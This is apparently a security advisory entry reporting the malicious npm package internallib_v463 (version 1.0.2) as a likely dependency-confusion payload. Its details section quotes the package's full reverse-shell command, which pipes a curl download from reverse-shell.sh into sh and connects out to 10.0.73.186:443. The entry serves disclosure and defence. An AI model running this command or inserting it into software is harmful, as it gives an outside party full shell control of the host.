MAL-2026-16481

    Dashboard / Malicious Package / MAL-2026-16481

    MAL-2026-16481

    Published: 23 Sept 2026Last Modified: 23 Sept 2026

    Summary: Malicious code in internallib_v463 (npm)

    Details: Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7) index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.

    References: https://www.npmjs.com/package/internallib_v463/v/1.0.2

    Affected packages

    Package

    Name: internallib_v463

    Purl: pkg:npm/internallib_v463

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.2